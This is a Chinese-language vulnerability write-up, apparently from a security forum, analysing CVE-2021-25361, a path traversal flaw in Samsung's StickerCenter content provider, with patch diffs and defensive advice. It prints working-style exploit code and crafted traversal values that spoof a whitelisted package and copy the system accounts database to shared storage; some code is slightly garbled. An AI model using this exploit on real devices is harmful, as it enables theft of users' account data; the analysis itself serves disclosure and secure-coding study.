Samsung CVE-2021-25361 漏洞分析及利用 0x1 漏洞描述该漏洞编号为 ‘CVE-2021-25361’,官方描述如下。’’’txtCVE-2021-25361 Arbitrary file read/write vulnerability v…
Samsung CVE-2021-25361 漏洞分析及利用
0x1 漏洞描述
该漏洞编号为 CVE-2021-25361
,官方描述如下。
CVE-2021-25361: Arbitrary file read/write vulnerability via unprotected StickerCenter content provider
Severity: Moderate
Affected versions: P(9.0), Q(10.0)
Reported on: October 8, 2020
Disclosure status: Privately disclosed.
An improper access control vulnerability in stickerCenter prior to SMR APR-2021 Release 1 allows local attackers to read or write arbitrary files of system process via untrusted applications.
0x2 漏洞分析
根据官方文档描述可知,该漏洞位于 Sticker center
中,根据漏洞报告,下载 SMR APR-2021 Release 1
的官方 Rom,并与老版本进行对比发现以下差异。
旧版本如下:
//旧版本
package com.samsung.android.stickercenter.StickerProvider;
public class StickerProvider extends StickerProvider {
//---snip---
private Uri insertInternal(SQLiteDatab ase datab ase, Uri uri, ContentValues CV, int arg19, boolean isNotify){
String pkgName = contentResolve.getAsString(PKG_NAME);
String Type = contentResolve.getAsString(TYPE);
String versionName = contentResolve.getAsString(VERSION_NAME);
String versionCode = contentResolve.getAsString(VERSION_CODE);
String filePath = contentResolve.getAsString(FILE_PATH);
String preName = contentResolve.getAsString(PREVIEW_NAME);
String orgName = contentResolve.getAsString(ORIGINAL_NAME);
//---snip---
}
//---snip---
}
新版本如下:
//新版本
package com.samsung.android.stickercenter.StickerProvider;
public class StickerProvider extends StickerProvider {
//---snip---
private Uri insertInternal(SQLiteDatab ase datab ase, Uri uri, ContentValues contentResolve, int arg19, boolean isNotify) {
String pkgName = FilenameUtils.getName(contentResolve.getAsString(PKG_NAME)); // ---- 补丁
String Type = FilenameUtils.getName(contentResolve.getAsString(TYPE)); // ---- 补丁
String versionName = contentResolve.getAsString(VERSION_NAME);
String versionCode = contentResolve.getAsString(VERSION_CODE);
String filePath = FilenameUtils.getName(contentResolve.getAsString(FILE_PATH)); // ---- 补丁
String preName = FilenameUtils.getName(contentResolve.getAsString(PREVIEW_NAME)); // ---- 补丁
String orgName = FilenameUtils.getName(contentResolve.getAsString(ORIGINAL_NAME)); // ---- 补丁
//---snip---
}
//---snip---
}
新版本 FilenameUtils
类如下:
//新版本中,FilenameUtils 类
public class FilenameUtils {
private static void failIfNullBytePresent(String arg3) {
int v0 = arg3.length();
int v1 = 0;
while(v1 v0) {
if(arg3.charAt(v1) != 0) {
++v1;
continue;
}
throw new IllegalArgumentException(Null byte present in file/path name. There are no known legitimate use cases for such data, but several injection attacks may use it);
}
}
public static String getName(String arg1) {
if(arg1 == null) {
return null;
}
FilenameUtils.failIfNullBytePresent(arg1);
return arg1.substring(FilenameUtils.indexOfLastSeparator(arg1) + 1);
}
public static int indexOfLastSeparator(String arg2) {
return arg2 == null ? -1 : Math.max(arg2.lastIndexOf(0x2F), arg2.lastIndexOf(92));
}
}
从对比中得知,漏洞补丁主要思路是通过 FilenameUtils.getName
函数对路径做进一步的筛查,其中筛查主要分为两个方面:
- 通过
FilenameUtils.failIfNullBytePresent
函数确保路径中没有无效空字符。 - 通过
arg1.substring(FilenameUtils.indexOfLastSeparator(arg1) + 1)
确保只保留最后一个层级的目录字符串。
下面开始简单的分析漏洞触发流程.
该漏洞存在于 stickercenter.StickerProvider
中的 insert
函数,在用户层可通过ContentResolver
调用其 insert
函数,首先在 insert
函数中,会验证调用者的包名是否合法:
private Uri(Uri uri, ContentValues CV){
//---snip---
if(!this.isAuthorizedStickerApp(v2)) {
StickerLog.d(StickerProvider.TAG, Unauthorized calling package : + v2);
return null;
}
//---snip---
}
isAuthorizedStickerApp
函数会验证 Exploit APP 包名是否在 AUTHORIZED_PACKAGES
白名单中:
private boolean isAuthorizedStickerApp(String arg1) {
return Constants.AUTHORIZED_PACKAGES.contains(arg1);
}
该处只需替换 Exploit APP 包名为白名单中所包含的即可,AUTHORIZED_PACKAGES
初始化的白名单列表如下:
Constants.AUTHORIZED_PACKAGES = new ArrayList(Arrays.asList(new String[]{
com.sec.android.app.samsungapps, com.samsung.android.contacts, com.samsung.android.incallui, com.samsung.android.messaging, com.samsung.android.calendar, com.sec.android.mimage.photoretouching, com.sec.android.app.camera, com.sec.android.app.vepreload, com.samsung.android.stickerplugin, com.samsung.android.provider.stickerprovider, com.sec.android.inputmethod, com.sec.android.inputmethod.beta, com.sec.android.app.camera.avatarauth, com.samsung.android.stickonme, com.samsung.android.service.livedrawing, com.sec.android.mimage.avatarstickers, aeslauncher.android.sec.com.aeslauncheractivity, com.sec.android.easyMover, com.samsung.android.aremoji
com.samsung.android.icecone, com.samsung.android.honeyboard, com.samsung.android.aremojieditor, com.samsung.android.sdk.sketchbook.avatarapp, com.samsung.android.livestickers, com.samsung.android.app.contacts, com.samsung.android.stickertestapp, com.samsung.android.gearnplugin, com.samsung.android.gearrplugin, com.samsung.android.gearpplugin, com.samsung.android.geargplugin, com.samsung.android.hostmanager}));
}
用户可传入构造的参数ContentValues
, 随后,会根据传入的参数获得如下几个参数:
private Uri insertInternal(SQLiteDatab ase datab ase, Uri uri, ContentValues contentResolve, int arg19, boolean isNotify) {
//---snip---
String pkgName = contentResolver.getAsString(PKG_NAME);
String Type = contentResolver.getAsString(TYPE);
String versionName = contentResolver.getAsString(VERSION_NAME);
String versionCode = contentResolver.getAsString(VERSION_CODE);
String filePath = contentResolver.getAsString(FILE_PATH);
String preName = contentResolver.getAsString(PREVIEW_NAME);
String orgName = contentResolver.getAsString(ORIGINAL_NAME);
//---snip---
}
insert
函数首先会调用 checkExistSameData
函数,通过 pkgName
和 Type
获取一个数据库:
public Uri insert(Uri uri, ContentValues contentResolver) {
//---snip---
if(this.checkExistSameData(pkgName, Type, CV.getAsString(PREVIEW_NAME), CV.getAsString(ORIGINAL_NAME)) != 0) {
return null;
}
//---snip---
}
checkExistSameData
函数会查询 mStickerItemsDBHelperList
是否匹配用户传入的 pkgName
和 Type
的数据库,若没有,则创建一个,并添加到 checkExistSameData
中。
接着,会进入 insertInternal
函数,先通过用户传入的 filePath + preName
获得一个 bitmap
//---snip---
byte[] bitmapFile = this.getByteFromBitmap(Uri.parse(filePath + preName));
//---snip---
接下来,将旧文件复制到新的路径中。旧文件路径为: filePath + orgName
,新文件路径为 /data/overlays/sticker/0/ + Type + / + pkgName + /assets + / + orgName
。
漏洞利用的思路就是构造旧文件路径为 system_proccess
可读的文件,并利用路径遍历,将新文件路径指向 /sdcard
中,那么,用户传入的参数总结如下:
/data/overlays/sticker/0/ + Type + / + pkgName = datab asePath //system_proccess权限可访问即可
filePath + preName = bitmapPath //在sdcard下,这样有利于提前放入准备好的 .gif 格式文件
filePath + orgName = oldFilePath //system_proccess权限可读
/data/overlays/sticker/0/ + Type + / + pkgName + /assets + / + orgName = newFilePath //在sdcard目录下
0x3 漏洞利用
首先,需要让APP的包名为上述列表中的包名之一.
现在,假设要将 data/system_ce/0/accounts_ce.db
移动到sdcard中,那么各参数构造如下:
PKG_NAME: com.mTEST1;
TYPE: ../../../../sdcard/;
FILE_PATH: file:///data/system_ce/0/;
ORIGINAL_NAME: accounts_ce.db;
PREVIEW_NAME: ../../../sdcard/com.mTEST1/assets/test.gif;
重复添加 PREVIEW_NAME 会导致数据库报错,无法后续流程
private int checkExistSameData(String arg9, String arg10, String arg11, String arg12) {
//---snip---
if(new File(v6_1.toString()).exists()) {
StickerLog.d(StickerProvider.TAG, There is a same file.);
}
//---snip---
}
解决方法有两种,第一种是每次更改 .gif
的文件名,第二种方案是调用 Provider
的 delete
函数,具体见 Exploit
代码.
确定好各参数,接下来开始编写主要代码,核心的 Exploit
如下:
public static void insert(ContentResolver contentResolver){
Uri uri = Uri.parse(content://com.samsung.android.stickercenter.provider/update/sticker/item/);
ContentValues contentValues = new ContentValues();
contentValues.put(PKG_NAME,com.mTEST);
contentValues.put(TYPE,../../../../sdcard/);
contentValues.put(FILE_PATH,file:///data/system_ce/0/);
contentValues.put(ORIGINAL_NAME,accounts_ce.db);
contentValues.put(PREVIEW_NAME,../../../sdcard/com.mTEST1/assets/test.gif);
Uri result = null;
result = contentResolver.insert(uri,cv);
if(result == null){
log(result is null);
}else{
log(result.toString());
}
}
0x4 路径遍历总结
路径遍历类漏洞主要产生于对于包含了路径的字符串审查不严格,以及对高权限模块的调用者筛选不严格导致的。在编写代码时,要对由用户输入的参数保持高度警惕,做好充分的“消毒”,通常需要由专门的“工具类”来复用此类检查工作,要想完全避免路径遍历类漏洞,还是需要充分的代码审计以及测试步骤。
- 本文作者: Tony酱
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/289
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!